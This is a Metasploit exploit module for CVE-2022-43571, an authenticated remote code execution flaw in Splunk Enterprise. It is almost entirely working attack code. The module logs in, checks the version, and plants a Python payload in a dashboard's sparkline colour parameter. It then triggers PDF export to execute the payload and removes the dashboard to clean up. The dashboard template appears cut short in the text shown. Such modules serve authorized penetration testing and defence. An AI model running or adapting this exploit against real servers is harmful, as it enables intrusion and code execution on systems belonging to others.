## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::Splunk prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Authenticated RCE in Splunk (SimpleXML dashboard PDF generation)', 'Description' => %q{ This Metasploit module exploits a Remote Code Execution (RCE) vulnerability in Splunk Enterprise. An attacker can inject arbitrary Python code into style parameters, such as the fillColor or lineColor of a sparkline element within a Splunk SimpleXML dashboard. The malicious code is executed when a user triggers the PDF export function for the dashboard. The affected versions include any release prior to 8.1.12, as well as versions 8.2.0 through 8.2.9 and 9.0.0 through 9.0.2. }, 'License' => MSF_LICENSE, 'Author' => [ 'Maksim Rogov', # Metasploit Module 'Danylo Dmytriiev', # Vulnerability Discovery 'psytester' # Public Exploit ], 'References' => [ ['CVE', '2022-43571'], ['URL', 'https://advisory.splunk.com/advisories/SVD-2022-1111'], ['URL', 'https://web.archive.org/web/20221218233608/https://psytester.github.io/CVE-2022-43571_SPLUNK_RCE/'] ], 'Platform' => ['python'], 'Arch' => [ARCH_PYTHON], 'Targets' => [ [ 'Splunk < 8.1.12, 8.2.9, and 9.0.2 / Python payload', { # Tested with python/meterpreter/reverse_tcp } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2022-11-02', 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS], 'Reliability' => [REPEATABLE_SESSION] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'Path to the Splunk App', '/']), OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as', 'admin' ]), OptString.new('PASSWORD', [ true, 'The password for the specified username']), OptBool.new('USE_INLINE_SPLUNK_QUERY', [true, 'By default, the exploit uses a simple query using system indexes (such as _internal). This option can be useful if those indexes are empty', false ]) ] ) end def gen_inline_splunk_query row_id_name = Rex::Text.rand_text_alphanumeric(8..16) arr_field = Rex::Text.rand_text_alpha(8..16) rand_count = rand(100..500) step = rand(2..15) col_count = rand(3..10) column_names = col_count.times.map { Rex::Text.rand_text_alphanumeric(8..16) } delimiter = [';', '|', ':', '#', '!'].sample names_string = column_names.join(delimiter) <<~SPL.strip | makeresults count=#{rand_count} | streamstats count as #{row_id_name} | eval _time = now() - (#{row_id_name} * #{step}), #{arr_field} = split("#{names_string}", "#{delimiter}"), sourcetype = mvindex(#{arr_field}, #{row_id_name} % #{col_count}) | chart sparkline count by sourcetype SPL end def get_system_index_splunk_query rand_tail = rand(100..200) index = ['_internal', '_audit', '_introspection'].sample "index=#{index} | tail #{rand_tail} | chart sparkline count by sourcetype" end def get_malicious_dashboard_template(payload) splunk_query = datastore['USE_INLINE_SPLUNK_QUERY'] ? gen_inline_splunk_query : get_system_index_splunk_query style_param = ['lineColor', 'fillColor'].sample escaped_payload = CGI.escapeHTML(payload) dash_template = <<~XSL #{splunk_query}
XSL # delete spaces dash_template.gsub(/^\s+/, '') end def cleanup super delete_dashboard(@target_app, @dash_name, @cookie) rescue Msf::Exploit::Failed print_warning("Module failed to delete the dashboard, \"#{@dash_name}\", which was created by the exploit") end def check @cookie = splunk_login(datastore['USERNAME'], datastore['PASSWORD']) version = splunk_home_version(@cookie) if version.between?(Rex::Version.new('8.1.0'), Rex::Version.new('8.1.11')) || version.between?(Rex::Version.new('8.2.0'), Rex::Version.new('8.2.8')) || version.between?(Rex::Version.new('9.0.0'), Rex::Version.new('9.0.1')) return CheckCode::Appears("Exploitable version found: #{version}") end return CheckCode::Safe("Non-vulnerable version found: #{version}") if !version.nil? return CheckCode::Unknown('Target does not appear to be a Splunk instance') end def exploit if @cookie.nil? @cookie = splunk_login(datastore['USERNAME'], datastore['PASSWORD']) end template = get_malicious_dashboard_template(payload.encoded) @target_app = get_random_app(@cookie, enabled: true) @dash_name = Rex::Text.rand_text_alphanumeric(8..16) create_dashboard(@target_app, @dash_name, template, @cookie) begin export_dashboard(@target_app, @dash_name, @cookie) rescue StandardError nil end end end